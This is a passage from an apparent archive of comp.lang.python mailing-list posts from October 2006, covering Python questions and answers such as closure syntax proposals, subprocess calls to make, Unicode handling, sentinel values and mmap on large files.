_f(x,y): [do stuff with x and y] function_with_callback(a,b,c, _f) function_with_callback(a,b,c) using x,y: [do stuff with x and y] next_statement() ... where function_with_callback wants a 2-arg function as its last argument. It gets to call _f, or equivalently the defined-right-there closure/ruby-block, however it wants to -- wait for an I/O operation to finish, whatever. I'm not so hot about the fact that it looks like addCallback() should be completed before the 'using' keyword kicks in, but this is the simplest I could think of. This syntax does not let you define a new function and store it as a local variable. Python already has inline 'def' for that (that is, you can do a 'def' in any block of code you want, and it stays local to that scope.) It does not, strictly speaking, let you do anything new -- as Guido has stated, you could ditch lambda and achieve the equivalent by declaring the little callback function as an inline 'def', like in the first deferred example here. This only optimizes for the case of defining a closure only for the purpose of passing it in as an argument to a method. However, this must be the only use for anonymous functions in Python, since we already have inline 'def'. I've always felt that passing in a lambda in lisp and python, or the equivalent anonymous function(x,y) {} in javascript, or anonymous classes in java, was always awkward. You have to think about defining a new anonymous function *within* your method call and such, and then you have to close parantheses after it -- it's just weird, I dunno. This proposal could also handle some of the use cases mentioned in PEP 310 and 340. If you design your callback-taking functions to have only one callback and have it as the last argument, you can trivially write lock acquition (omit 'using' for a no-arg block-closure): def protect(lock, f): lock.acquire() f() lock.release() protect(myLock): [do stuff that needs myLock to be acquired] Of course, the definition of protect() might have try/finally wrapped around the f() call. (Interestingly, this starts looking like a way to define new control-like structures. I haven't thought through the implications.) ActiveRecord, Rails' object-relational mapper, does almost exactly this for database transactions, and I have found it quite nice: # User is a sqlobject/sqlalchemy/django/whatever ORM class; # User.transaction is a class method executing its passed-in #closure within # the user table's START TRANSACTION and STOP TRANSACTION. user1, user2 = getTwoUsers() User.transaction() using user1, user2: someRaceConditionProneStuff(user1, user2) moreRaceConditionProneStuff(user1, user2) There might be some sort of overlap with PEP 343 and the 'with' statement, but I'm not sure exactly. Sorry I'm late to the game and commenting on last year's PEP's, but I've only started reading them. Note that PEP's 343 and 340 are very focused on resource management -- but I think that letting one define code blocks as closures could make resource handling routines be easily written in Python. Furthermore, tons more stuff -- like Deferreds and such -- could be added. (Ruby uses block-closures to do really basic constructs such as foreach iteration. Python does a fine job with "for x in L" and list and generator comprehensions... enough so that map/lambda is obsolete! I'm just trying to see if there are use cases in Python for block-closures.) I've been trying to search for similar proposals but have come up dry. Anything like this out here? I hear Ruby blocks are heavily inspired by Smalltalk; anyone know more? Is it feasible to assume the primary use of closures is as part of an argument list, and such argument lists will want only one argument that is a closure? Does doing so avoid any big annoyances of functional programming? Is this completely, totally incompatible with the current state of Python and previous deliberations :) ? e.g. I haven't thought much about how this would interact with yield and generators. But really, I'm just idly curious -- does anyone think this might be useful? Take care, Brendan From ram0812 at hotmail.com Tue Oct 3 04:24:22 2006 From: ram0812 at hotmail.com (Raja Raman Sundararajan) Date: 3 Oct 2006 01:24:22 -0700 Subject: Overriding builtin getattr method Message-ID: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> Hello guys, I have data stored in the database which has special characters like <, > etc. Case 1: Whenever I wanted to present the output to a browser I need to escape these special characters into the browser equivalent like < > etc.( for example by using the cgi module) Case 2: Whenever I wanted to present the output to some client other than a browser, I wanted to present the data as it is stored in the database. For doing this I thought of overriding the __builtin__.__getattr__ method. I am wondering if there is any other way of achieving this. I have loads of files that get the attribute values of objects stored in the database and I do not want to manually change the way of DB access in those files. I rather prefer a centralized way to achieve this. Good inputs are always appreciated. :-) Raja From rNOSPAMon at flownet.com Sat Oct 21 12:38:17 2006 From: rNOSPAMon at flownet.com (Ron Garret) Date: Sat, 21 Oct 2006 09:38:17 -0700 Subject: Why doesn't this work? Message-ID: Python 2.3.5 (#1, Jan 30 2006, 13:30:29) [GCC 3.3 20030304 (Apple Computer, Inc. build 1819)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from datetime import datetime >>> class ts(datetime): ... def __init__(self): pass ... >>> ts() Traceback (most recent call last): File "", line 1, in ? TypeError: function takes at least 3 arguments (0 given) >>> From has.temp3 at virgin.net Tue Oct 3 18:13:14 2006 From: has.temp3 at virgin.net (has) Date: 3 Oct 2006 15:13:14 -0700 Subject: was python implemented as a object oriented langage at the beginning ? In-Reply-To: <1159879673.081812.124460@i3g2000cwc.googlegroups.com> References: <1159879673.081812.124460@i3g2000cwc.googlegroups.com> Message-ID: <1159913594.141208.280030@i3g2000cwc.googlegroups.com> MonkeeSage wrote: > [...] just because a language doesn't implement OO in the > exact same way as another doesn't mean it isn't OO -- it just means > it's a different language. I've a suspicion that folk who aren't familiar with the Python object system automatically assume the phrase 'Python types' means C++/Java-style primitives - which it doesn't. Python's type/class distinction may be klunky and inelegant, but it's still OO. From ptmcg at austin.rr._bogus_.com Fri Oct 13 12:24:23 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 13 Oct 2006 16:24:23 GMT Subject: SOAPpy and callback References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> <_8NXg.46981$DU3.27448@tornado.texas.rr.com> <4p9r78Fi2olfU1@uni-berlin.de> Message-ID: "Diez B. Roggisch" wrote in message news:4p9r78Fi2olfU1 at uni-berlin.de... > Paul McGuire schrieb: >> "Diez B. Roggisch" wrote in message >> news:4p94a0Fhr1amU1 at uni-berlin.de... >>> fabien.benard at gmail.com schrieb: >>>> Hello, >>>> >>>> I'm trying to find how to use a callback in a SOAP client using SOAPpy. >>>> Does SOAPpy have to manage it, or does Python include some API to do >>>> it? >>> I've never seen any callback mentioned in SOAP. Are you sure this is >>> possible with any SOAP implementation, at least standard-wise? >> This is most definitely possible, in fact it is the basis for a new >> asynchronous data collection standard for semiconductor equipment, >> Interface A (replacing the ancient SECS/GEM interface, originally >> designed to work over RS-232). However, it is a major pain to implement. > > > I don't call 'you can do that on your own' as standard-wise. > > Certainly you can run two servers, make sure they are mutually reachable, > and client and server share the same process space. > > But that is not a callback - it is, as you say, a PITA. And a massive lack > in the SOAP standard. > > Regards, > > Diez I like your term "standard-wise". Although there is nothing in the SOAP "standard" that prevents this architecture, it is probably open for discussion whether it is "wise." As it happens, the client and server *don't* share the same process space - they don't even share the same computer. And it *does* work, I'm running the software on a couple of systems in my office right now. -- Paul From hanumizzle at gmail.com Fri Oct 13 14:58:18 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 14:58:18 -0400 Subject: Best IDE? In-Reply-To: References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <463ff4860610131158k428bcb53gb258a1d1f2a9d187@mail.gmail.com> On 13 Oct 2006 19:37:57 +0200, Neil Cerutti wrote: > Disadvantages: > > * Totally configurable. I invested a lot of time in Emacs and Vim before that...I still use Vim over SSH (and its Ruby support is the best of the two IMO) -- Theerasak From Peter.Beattie at web.de Sun Oct 8 08:41:35 2006 From: Peter.Beattie at web.de (Peter Beattie) Date: Sun, 08 Oct 2006 14:41:35 +0200 Subject: Painless way to do 3D visualization In-Reply-To: <1160261890.778808.216180@h48g2000cwc.googlegroups.com> References: <4oqohkFfm09vU1@uni-berlin.de> <1160261890.778808.216180@h48g2000cwc.googlegroups.com> Message-ID: <4os9vvFg4ld3U1@uni-berlin.de> faulkner wrote: > http://www.vpython.org/ Oh, thanks, but let me quote myself: >> So far, I've only tinkered a little with VPython, but the lack >> of any decent documentation has proved to be a major turn-off. So, I'd really appreciate any hints as to where to look for anything a little more usable. -- Peter From michael.pearmain at tangozebra.com Wed Oct 18 12:00:57 2006 From: michael.pearmain at tangozebra.com (Mike P) Date: 18 Oct 2006 09:00:57 -0700 Subject: Win32 python and excel macros In-Reply-To: <1161186121.020753.20810@b28g2000cwb.googlegroups.com> References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> <1161186121.020753.20810@b28g2000cwb.googlegroups.com> Message-ID: <1161187257.657252.87000@m73g2000cwd.googlegroups.com> Thanks for your advice on this matter, I'm actually using Excel 2003!! so it shows how much i know! i did manage to get the prog to run with the line xl.Application.Run("CTP.xla!sheet1.CTP") but it didn't do anything... i'm guessing it is along the lines of wht you were saying earlier about big output being the active worksheet. I'll give that a go now Thanks for the advice Mike From python.sam at googlemail.com Fri Oct 6 16:12:25 2006 From: python.sam at googlemail.com (sam) Date: 6 Oct 2006 13:12:25 -0700 Subject: error handling in user input: is this natural or just laborious Message-ID: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> hi all, i'm starting to put together a program to simulate the performance of an investment portfolio in a monte carlo manner doing x thousand iterations and extracting data from the results. i'm still in the early stages, and am trying to code something simple and interactive to get the percentages of the portfolio in the five different investment categories. i thought i'd get in with the error handling early so if someone types in something wrong (like a word), or the numbers don't add up to 100%, the error would be caught immediately and the user sent back to the start of the loop. granting that there may be better ways of doing this, if i decide that i do want to do it like this (i.e. a single error requires all data to be re-entered, not unreasonable for only five items), is this a good way of doing it or a confusing way of doing it from the perspective of readability and maintenance: while True: cash, bond, blue, tech, dev = 0,0,0,0,0 check=False try: cash=input('Please enter a cash percentage for the portfolio: ') except NameError: print 'That is not a number. Please start again and remember to enter integers.' else: try: bond=input('Please enter a bond portfolio for the portfolio: ') except NameError: print 'That is not a number. Please start again and remember to enter integers.' else: try: blue=input('Please enter a blue-chip percentage for the portfolio: ') except NameError: print 'That is not a number. Please start again and remember to enter integers.' else: try: tech=input('Please enter a tech stocks percentage for the portfolio: ') except NameError: print 'That is not a number. Please start again and remember to enter integers.' else: try: dev=input('Please enter a developing countries index for the portfolio: ') check=True except NameError: print 'That is not a number. Please start again and remember to enter integers.' if cash+bond+blue+tech+dev==100: break if cash+bond+blue+tech+dev!=100 and check!= False: print 'Those numbers do not sum to 100. Please start again.' i know it's a bit verbose, but it was the nested try clauses i was really wondering about. is the code immediate legible to experienced python users? or does it look like gibberish at first? just hoped for some fresh eyes on it. thanks, sam PS making check=True just saves the code from printing 'those numbers don't sum to 100' if they haven't all been entered, which looks kind of silly. From ptmcg at austin.rr._bogus_.com Fri Oct 6 14:45:56 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 06 Oct 2006 18:45:56 GMT Subject: Need array help References: Message-ID: "Marion Long Jr" wrote in message news:EkwVg.362$P92.105 at trndny02... >I am switching from microsoft visual basic programming to python >programming. Also, in anticipation of one of the most FA'ed Q's among VB->Python migrators, you must always include the parens after a function name to invoke the function. That is, to call the method MethodWithNoArguments, you cannot write (as one would in VB): val = MethodWithNoArguments This simply assigns the method MethodWithNoArguments to name 'val'. To invoke the method and assign the returned value to val, write: val = MethodWithNoArguments() And please don't ask for Python to be changed to be more VB-like in this regard - let Python be Python! :) And welcome to the Python world! -- Paul From rtw at freenet.co.uk Mon Oct 30 09:16:42 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Mon, 30 Oct 2006 08:16:42 -0600 Subject: Calling GNU/make from a Python Script References: <45462091@news.bezeqint.net> Message-ID: Efrat Regev wrote in news:45462091 at news.bezeqint.net in comp.lang.python: > Hello, > > I need to call GNU/make from within a Python script. This raised some > problems: > 1. The script is not in the directory of the makefile, and changing the > locations of either is not an option. Consequently, the makefile fails, > since it can't find the targets/dependencies. > 2. After searching around, it seems that os.system(..) should be avoided > if there's an alternative. Is there one in this case? > USe the subprocess module, in particular see Popen: http://docs.python.org/lib/node529.html and call: http://docs.python.org/lib/node530.html you will need to use the "cwd" argument. Rob. -- http://www.victim-prime.dsl.pipex.com/ From steve at holdenweb.com Mon Oct 23 12:10:47 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 17:10:47 +0100 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: Fredrik Lundh wrote: > M?ta-MCI wrote: > > >>For the professional developments, it is a major risk. > > > some days, I ask myself why I shouldn't just use GPL for everything I > do, and ship it as source code only. > To which I presume the answer is that you are considerate of Windows users who'd rather not compile their own Windows applications due to the cost of using the commercial compilers and the complexity of using the open source ones. Whatever the reasons, a vote of thanks to all extension authors who *do* bother to compile for Windows (despite complaints from others who don't feel this happens quickly enough). regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From chengiz at my-deja.com Fri Oct 20 20:36:43 2006 From: chengiz at my-deja.com (chengiz at my-deja.com) Date: 20 Oct 2006 17:36:43 -0700 Subject: Pygtk but no gtk? In-Reply-To: References: <1161370274.621757.299970@m73g2000cwd.googlegroups.com> Message-ID: <1161391003.170792.314160@e3g2000cwe.googlegroups.com> > my pygtk provides > /usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.py, which contains > the gtk module. You should ensure that you have that file, and if not, > find out where to get it. I had the files stored in my local space and my PYTHONPATH was wrong. It seems PYTHONPATH should contain both ...lib/python2.x and ...lib/python2.x/site-packages while mine was simply ...lib (one'd expect them to actually mention this in the documentation). Once I fixed PYTHONPATH, it ran fine, although I still cant figure out why it got pygtk in the first place coz it wasnt in PYTHONPATH the first time. Khan From tjreedy at udel.edu Tue Oct 3 14:32:13 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 3 Oct 2006 14:32:13 -0400 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159545255.339364.299020@k70g2000cwa.googlegroups.com><1159546522.251704.301530@b28g2000cwb.googlegroups.com><1159552048.354214.198180@e3g2000cwe.googlegroups.com><1159762765.943691.139690@b28g2000cwb.googlegroups.com><1159774531.004015.7390@e3g2000cwe.googlegroups.com><1159853705.946422.70220@b28g2000cwb.googlegroups.com><1159855375.951848.195790@m73g2000cwd.googlegroups.com><1159888289.071764.274400@e3g2000cwe.googlegroups.com><1159894194.296766.181670@m73g2000cwd.googlegroups.com><1159895939.769126.146630@i42g2000cwa.googlegroups.com> <1159896793.505478.232500@i42g2000cwa.googlegroups.com> Message-ID: "> Forgot to mention this, in case you haven't done so post your original > message/patch on the python-dev lists since that's where the decisions > are made. This group is more end-user oriented. > > http://mail.python.org/pipermail/python-dev/2006-October/thread.html It is often good to get community input first, as the OP has done. When he wishes, the OP should submit his latest (not original) version of the patch to SourceForge (not the list) and then optionally post a new message with a link to the SF item for discussion. tjr From antroy at gmail.com Sun Oct 1 15:29:25 2006 From: antroy at gmail.com (Ant) Date: 1 Oct 2006 12:29:25 -0700 Subject: The Python world tries to be polite [formerly offensive to another language] In-Reply-To: References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com> <1159555450.721085.51710@h48g2000cwc.googlegroups.com> <1159601820.592847.42160@i3g2000cwc.googlegroups.com> <_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net> Message-ID: <1159730965.869927.322910@h48g2000cwc.googlegroups.com> Mirco Wahab wrote: > Thus spoke A.M. Kuchling (on 2006-09-30 19:26): > > On Sat, 30 Sep 2006 09:10:14 +0100, > > Steve Holden wrote: > Thats it. What is the fuzz all about? I consider 'hyper fatarrow' > (you did't the ?=>? get right) just a joke of LW > (he does so sometimes ;-). Don't think so, I followed the thread along a little, and it seems to be correct. In addition, they seem to have the ? character as the Perl 6 equivalent of zip(). Those crazy guys. Actually this post cracked me up (Subject: My first functional perl6 program): http://www.nntp.perl.org/group/perl.perl6.language/25953 Either the poster has posted a binary file, or the Perl 6 syntax is crazier than anyone could have imagined! ;-) From no-spam at no-spam-no-spam.com Thu Oct 26 17:16:31 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 23:16:31 +0200 Subject: which one of these is better? In-Reply-To: References: Message-ID: Michael B. Trausch wrote: > Not really ?ber-qualified to say anything, but I think that the > following would be better: > > try: > f = open('file.sql') > script = f.read() > f.close() > except IOError: > wx.MessageBox('Message', 'Message Title') > >> Do they both do the same thing? >> > > Not sure about the with-- I just went to read the PEP on it, and it > confused me greatly. :-) So, I don't know. > when .read() fails the file will not be close here. to replace the 'with' solution you#d need: try: f=open(path) try: script=f.read() finally: f.close() except EnvironmentError,v: wx.MessageBox(v, 'Message Title') -robert From JohnRoth1 at jhrothjr.com Fri Oct 20 11:07:21 2006 From: JohnRoth1 at jhrothjr.com (John Roth) Date: 20 Oct 2006 08:07:21 -0700 Subject: Unicode support in python In-Reply-To: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> Message-ID: <1161356841.238729.271470@h48g2000cwc.googlegroups.com> sonald wrote: > Hi, > I am using python2.4.1 > > I need to pass russian text into python and validate the same. > Can u plz guide me on how to make my existing code support the > russian text. > > Is there any module that can be used for unicode support in python? > > Incase of decimal numbers, how to handle "comma as a decimal point" > within a number > > Currently the existing code is woking fine for English text > Please help. > > Thanks in advance. > > regards > sonal As both of the other responders have said, the coding comment at the front only affects source text; it has absolutely no effect at run time. In particular, it's not even necessary to use it to handle non-English languages as long as you don't want to write literals in those languages. What seems to be missing is the notion that external files are _always_ byte files, and have to be _explicitly_ decoded into unicode strings, and then encoded back to whatever the external encoding needs to be, each and every time you read or write a file, or copy string data from byte strings to unicode strings and back. There is no good way of handling this implicitly: you can't simply say "utf-8" or "iso-8859-whatever" in one place and expect it to work. You've got to specify the encoding on each and every open, or else use the encode and decode string methods. This is a great motivation for eliminating duplication and centralizing your code! For your other question: the general words are localization and locale. Look up locale in the index. It's a strange subject which I don't know much about, but that should get you started. John Roth From horpner at yahoo.com Mon Oct 16 14:50:50 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 16 Oct 2006 20:50:50 +0200 Subject: Alphabetical sorts References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: On 2006-10-16, Ron Adam wrote: > > I have several applications where I want to sort lists in > alphabetical order. Most examples of sorting usually sort on > the ord() order of the character set as an approximation. But > that is not always what you want. Check out strxfrm in the locale module. >>> a = ["Neil", "Cerutti", "neil", "cerutti"] >>> a.sort() >>> a ['Cerutti', 'Neil', 'cerutti', 'neil'] >>> import locale >>> locale.setlocale(locale.LC_ALL, '') 'English_United States.1252' >>> a.sort(key=locale.strxfrm) >>> a ['cerutti', 'Cerutti', 'neil', 'Neil'] -- Neil Cerutti From mail at microcorp.co.za Tue Oct 31 10:26:14 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 31 Oct 2006 17:26:14 +0200 Subject: Tkinter Listbox string formatting question - how to kill adancingsnake ? References: <02a901c6fcbf$181c51a0$03000080@hendrik> <009d01c6fcf6$75782400$03000080@hendrik> Message-ID: <00e801c6fd01$3e5fd3e0$03000080@hendrik> "Hendrik van Rooyen" wrote: > "Fredrik Lundh" wrote: > > > instead of trying to force the listbox to behave like a multicolumn > > widget, maybe you could switch to another widget? some alternatives include > > > > a Text widget (you have to roll your own selection logic) > > I _really_ don't feel strong enough for this, or for sticking them loose on a > canvas... 8<-------------------------------- sorry - thought has just occurred to me - my basic problem is text formatting, as variable width fonts make it difficult to get two things to line up under one another by using spaces as padding - so how would the Text widget have helped me with this ? or - Luxury ! - can I set a tab stop in pixels ? - maybe I can catch a general clue here... - Hendrik From 3dbernard at gmail.com Thu Oct 19 21:38:42 2006 From: 3dbernard at gmail.com (Bernard Lebel) Date: Thu, 19 Oct 2006 21:38:42 -0400 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> Message-ID: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> Hi, That's because I'm using Python through another application, via the pywin32 extensions. When that other application starts, it performs several thousands of file requests (we're talking 4,500, roughly) in the Python installation, locations where there are Python files, and in some other locations that don't make sense. This adds considerable time to the startup time of the application, we're talking between 2 and 9 seconds. This a problem with the application, not Python. But I'm looking for ways to minimize this overhead so the users of this application waste less time waiting after the startup. Thanks Bernard On 10/19/06, Gabriel Genellina wrote: > You can't; part of the standard library are .pyd/.dll files. > Those existence checks should be fairly fast - why are you worried about them? From bignose+hates-spam at benfinney.id.au Fri Oct 27 01:23:33 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 15:23:33 +1000 Subject: Sentinel values for special cases References: <1161922018.807346.163290@k70g2000cwa.googlegroups.com> Message-ID: <87fydae3hm.fsf@benfinney.id.au> "Paddy" writes: > None is what Python readers would expect as a sentinel value, but if > any of your data fields could have None as a valid value then you may > have to switch to a module level constant. > Be wary of using sentinel values which are strings, if your data could > itself be a string - make sure the sentinel value is not valid data, > and always use the sentinel name and not its value from then on. I don't think "be wary" is appropriate; I think a blanket "don't use strings for sentinel values" is fine. In your example below: > it is very wrong to do this sort of thing: > > NO_DATA = '::NO_DATA::' > > def xyz(a,b,c): > if a == '::NO_DATA::': > # blah blah blah You should not use a string for that constant at all. Its only purpose is to be a sentinel value, so just make it a unique object instance: NO_DATA = object() def xyz(a,b,c): if a is NO_DATA: # blah blah blah The sentinel value for the 'a' parameter to 'foo.xyz()' is then 'foo.NO_DATA', nothing else. We're now checking by 'is', not '==', so there's no way to pass the sentinel value to the function unless it's that specific object. It's impossible to get that particular value any other way, so you avoid the possibility of accidentally getting the sentinel as part of the data. I don't see any advantage a string would have to make it worth using over the above type of sentinel. > If you are having difficulty working out what to use as a sentinel > value for your data then you could declare a Sentinel class and use > that: Just use the plain 'object' class, since the instance name will make its meaning clear, and other instances don't need to share any behaviour or semantics. -- \ "There is no reason anyone would want a computer in their | `\ home." -- Ken Olson, president, chairman and founder of | _o__) Digital Equipment Corp., 1977 | Ben Finney From bignose+hates-spam at benfinney.id.au Mon Oct 23 19:00:55 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 24 Oct 2006 09:00:55 +1000 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: <87wt6qskm0.fsf@benfinney.id.au> Fredrik Lundh writes: > M?ta-MCI wrote: > > For the professional developments, it is a major risk. > > some days, I ask myself why I shouldn't just use GPL for everything > I do, and ship it as source code only. Many popular programs *do* ship as source only, and leave it to the community to build and make available binaries for platforms that the community wants. This way, the developers don't have to maintain builds for anything but the platforms they actually care about, and a particular platform is supported only to the extent that third parties put effort into it and share the result. I don't see why you shouldn't do the same. -- \ "If you make people think they're thinking, they'll love you; | `\ but if you really make them think, they'll hate you." -- | _o__) Donald Robert Perry Marquis | Ben Finney From sturlamolden at yahoo.no Tue Oct 24 18:19:01 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 24 Oct 2006 15:19:01 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <453E4E01.9050304@v.loewis.de> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161651103.875210.170140@i42g2000cwa.googlegroups.com> <453E4E01.9050304@v.loewis.de> Message-ID: <1161728341.087325.274570@b28g2000cwb.googlegroups.com> Martin v. L?wis wrote: > You know this isn't true in general. It is true for a 32-bit address > space only. Yes, but there are two other aspects: 1. Many of us use 32-bit architectures. The one who wrote the module should have considered why UNIX' mmap and Windows' MapViewOfFile takes an offset parameter. As it is now, "mmap.mmap" can be considered inadequate on 32 bit architectures. 2. The OS may be stupid. Mapping a large file may be a major slowdown simply because the memory mapping is implemented suboptimally inside the OS. For example it may try to load and synchronise huge portions of the file that you don't need. This will deplete the amout of free RAM, and perhaps result in excessive swapping. "mmap.mmap" is therefore a potential "tarpit" on any architecture. Thus, memory mapping more than you need is not intelligent, even if you do have a 64 bit processor. The missing offset argument is essential for getting adequate performance from a memory-mapped file object. From cao.yiqun at gmail.com Thu Oct 5 19:21:50 2006 From: cao.yiqun at gmail.com (Eddie) Date: 5 Oct 2006 16:21:50 -0700 Subject: profiling memory usage Message-ID: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> Hi, I am looking for a method to profile memory usage in my python program. The program provides web service and therefore is intended to run for a long time. However, the memory usage tends to increase all the time, until in a day or two the system cannot handle it any more and starts to do constant swapping. Is there a way to look at which objects or variables are taking the huge amount of memory space? Thanks, Eddie From rupole at hotmail.com Wed Oct 18 18:50:33 2006 From: rupole at hotmail.com (Roger Upole) Date: Wed, 18 Oct 2006 18:50:33 -0400 Subject: Reading a Microsoft access file. References: Message-ID: <1161212053_56899@sp6iad.superfeed.net> wrote in message news:mailman.714.1161203760.11739.python-list at python.org... >I googled for the answer but all the answer seem to imply that you > have to have Access installed on your system. I have a file that was > created using Access and I want develop a Python script to > read the file and produce a report. Can this be done, if could you point > me to some doc? > Thanks. > Wayne > Access is just a frontend for the Jet database engine. You should be able to access the file via database API's from any system that has the Jet database driver installed. (which is practically all Windows systems anymore) Roger From lycka at carmen.se Thu Oct 12 05:28:59 2006 From: lycka at carmen.se (Magnus Lycka) Date: Thu, 12 Oct 2006 11:28:59 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: Antoon Pardon wrote: > Well maybe he didn't intend that, but how is the reader of the > documentation to know that? The reader can only go by how > things are documented. If those are not entirely consistent > with the intend of the programmer, that is not the readers > fault. I don't think I ever assumed that it was right to call functions with keyword arguments if they weren't defined with keyword parameters, but when I read 4.7.2 of the tutorial, I can see that it's stated through an example that this is a correct thing to do. I suppose the tutorial (and maybe the language reference) should be corrected if this isn't supposed to be guaranteed behavior. It seems like a bad idea to have different calling semantics depending on whether a callable is implemented in C or Python. Even if non-keyword parameters in Python implemented callables, *can* be called with keyword arguments, it seems like a bad idea to encourage that use. Perhaps it would be a good idea to deprecate that possibility and remove it in Python 3.0? I think it's better to force some calls into using f(*a, **kw) instead of f(**kw) if it decreases the risk that reimplementing functions in C in an API will break client code. Sure, it's simple to make a Python wrapper, but if you're after raw speed, you might not want to do that. The main downside to removing the possibility of calling non keyword parameters with keyword arguments might be that using keyword arguments could fill a documentation purpose in the code, e.g. x=get(host=arg[0], port=arg[1], path=arg[2]) would be clearer than x=get(arg[0], arg[1], arg[2]). Of course, host, port, path = arg; x=get(host, port, path) is even better (if s/;/\n) but in some cases, it's better to be able to inline things. From pandyacus.xspam at xspam.sbcglobal.net Sat Oct 28 10:06:00 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sat, 28 Oct 2006 14:06:00 GMT Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> <1161649124.962144.127140@e3g2000cwe.googlegroups.com> <453E4D95.7080204@v.loewis.de> <1162006782.482595.244560@e3g2000cwe.googlegroups.com> Message-ID: <87wt6k1qn8.fsf@nandi.2wire.net> "nnorwitz at gmail.com" writes: > Martin v. L?wis wrote: > > sturlamolden schrieb: > > > > > And why doesn't Python's mmap take an offset argument to handle large > > > files? > > > > I don't know exactly; the most likely reason is that nobody has > > contributed code to make it support that. That's, in turn, probably > > because nobody had the problem yet, or nobody of those who did > > cared enough to implement and contribute a patch. > > Or because no one cared enough to test a patch that was produced 2.5 > years ago (not directed at Martin, just pointing out why the patch > stalled). > > http://python.org/sf/708374 > > With just a little community support, this can go in. I suppose now > that we have the buildbots, we can check in untested code and test it > that way. The patch should be reviewed. > > n I made the changes before I saw this. However, the patch seems to be quite dated and some of the changes are very interesting, especially if they were tested for the special conditions they are supposed to handle and if they were made after some discussion. I can submit my patch as it is, but I am working on making some of the other changes I had in mind for the mmap to be useful. Some of the other changes would make more sense for py3k, if it supports a byte array object, but I haven't looked at py3k at all. Chetan From kgrafals at gmail.com Mon Oct 16 15:12:43 2006 From: kgrafals at gmail.com (kgrafals at gmail.com) Date: 16 Oct 2006 12:12:43 -0700 Subject: urllib.urlopen: Errno socket error In-Reply-To: <1161023474.872714.138630@f16g2000cwb.googlegroups.com> References: <1161022115.983554.76140@h48g2000cwc.googlegroups.com> <1161023474.872714.138630@f16g2000cwb.googlegroups.com> Message-ID: <1161025963.491407.14650@h48g2000cwc.googlegroups.com> Hi Salvatore, Even if I catch the exceptions in a loop it goes on forever. - ken From http Sun Oct 1 11:54:01 2006 From: http (Paul Rubin) Date: 01 Oct 2006 08:54:01 -0700 Subject: Generating unique row ID ints. References: <1159717051.819475.215270@i42g2000cwa.googlegroups.com> Message-ID: <7xu02oav6u.fsf@ruckus.brouhaha.com> "Simon Wittber" writes: > Some of the tables require single integer primary keys which might be > exposed in some parts of the web interface. If users can guess the next > key in a sequence, it might be possible for them to 'game' or > manipulate the system in unexpected ways. I want to avoid this by > generating a random key for each row ID, and have decided to use the > same approach for all my single key tables. Normally primary keys are sequential but only live inside the system. Users are not supposed to enter them. > If the random module is suitable, does anyone have any good ideas on > how this could be implemented? The random module does not aim to be secure against knowledgeable attackers trying to guess the output (i.e. it's not cryptographic randomness). Use os.urandom instead. > I've got my own ideas for implementing this, but am interested to see > how/if anyone else has tackled the same problem. The simplest thing to do is generate random strings, e.g. key = os.urandom(16) for a 16-byte binary string. You can of course encode it as printing characters with your favorite binascii function. 16-byte strings like that should be unguessable and collision-free until you have an enormous number of them (on the order of 2**64). From onurb at xiludom.gro Mon Oct 30 05:11:09 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 30 Oct 2006 11:11:09 +0100 Subject: Import if condition is correct In-Reply-To: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> Message-ID: <4545cfbe$0$11343$426a74cc@news.free.fr> MindClass wrote: > Is possible import a library according to a condition? > > if Foo = True: > import bar > Did you even try ? Would have been faster than posting here... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at 